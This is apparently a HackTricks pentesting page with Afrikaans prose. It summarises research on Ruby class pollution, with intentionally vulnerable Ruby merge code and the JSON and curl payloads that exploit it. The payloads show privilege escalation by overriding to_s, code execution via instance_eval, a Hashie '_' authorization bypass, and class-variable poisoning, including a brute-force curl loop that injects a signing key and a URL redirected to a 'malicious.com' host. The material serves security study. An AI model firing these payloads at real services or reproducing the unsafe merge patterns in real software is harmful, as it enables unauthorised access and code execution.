hacktricks/src/pentesting-web/deserialization/ruby-class-pollution.md

# Ruby Class Pollution

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Dit is 'n opsomming van die pos [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)

## Merge on Attributes

Voorbeeld:
```ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
### Verduideliking

1. **Privilegie Eskalasie**: Die `authorize` metode kontroleer of `to_s` "Admin" teruggee. Deur 'n nuwe `to_s` attribuut deur JSON in te voeg, kan 'n aanvaller die `to_s` metode laat teruggee "Admin," wat ongeoorloofde voorregte toeken.
2. **Afgeleë Kode Uitvoering**: In `health_check`, voer `instance_eval` metodes uit wat in `protected_methods` gelys is. As 'n aanvaller pasgemaakte metodename (soos `"puts 1"`) invoeg, sal `instance_eval` dit uitvoer, wat lei tot **afgeleë kode uitvoering (RCE)**.
1. Dit is slegs moontlik omdat daar 'n **kwetsbare `eval` instruksie** is wat die stringwaarde van daardie attribuut uitvoer.
3. **Impaksbeperking**: Hierdie kwesbaarheid raak slegs individuele instansies, wat ander instansies van `User` en `Admin` onaangeraak laat, en beperk dus die omvang van die uitbuiting.

### Werklike Gevalle <a href="#real-world-cases" id="real-world-cases"></a>

### ActiveSupport se `deep_merge`

Dit is nie standaard kwesbaar nie, maar kan kwesbaar gemaak word met iets soos:
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end
```
### Hashie se `deep_merge`

Hashie se `deep_merge` metode werk direk op objekattributen eerder as op gewone hashes. Dit **voorkom die vervanging van metodes** met attributen in 'n samesmelting met sommige **uitsonderings**: attributen wat eindig op `_`, `!`, of `?` kan steeds in die objek gesmelt word.

'n Spesiale geval is die attribuut **`_`** op sy eie. Net `_` is 'n attribuut wat gewoonlik 'n `Mash` objek teruggee. En omdat dit deel is van die **uitsonderings**, is dit moontlik om dit te verander.

Kyk na die volgende voorbeeld hoe om `{"_": "Admin"}` deur te gee, kan mens `_.to_s == "Admin"` omseil:
```ruby
require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>

In die volgende voorbeeld is dit moontlik om die klas **`Person`** te vind, en die klasse **`Admin`** en **`Regular`** wat van die **`Person`** klas erf. Dit het ook 'n ander klas genaamd **`KeySigner`**:
```ruby
require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end
```
### Poison Parent Class

Met hierdie payload:
```bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
Dit is moontlik om die waarde van die **`@@url`** attribuut van die ouer klas **`Person`** te wysig.

### **Besoedeling van Ander Klasse**

Met hierdie payload:
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
Dit is moontlik om die gedefinieerde klasse te brute-force en op 'n sekere punt die klas **`KeySigner`** te vergiftig deur die waarde van `signing_key` te verander na `injected-signing-key`.\

## Verwysings

- [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)

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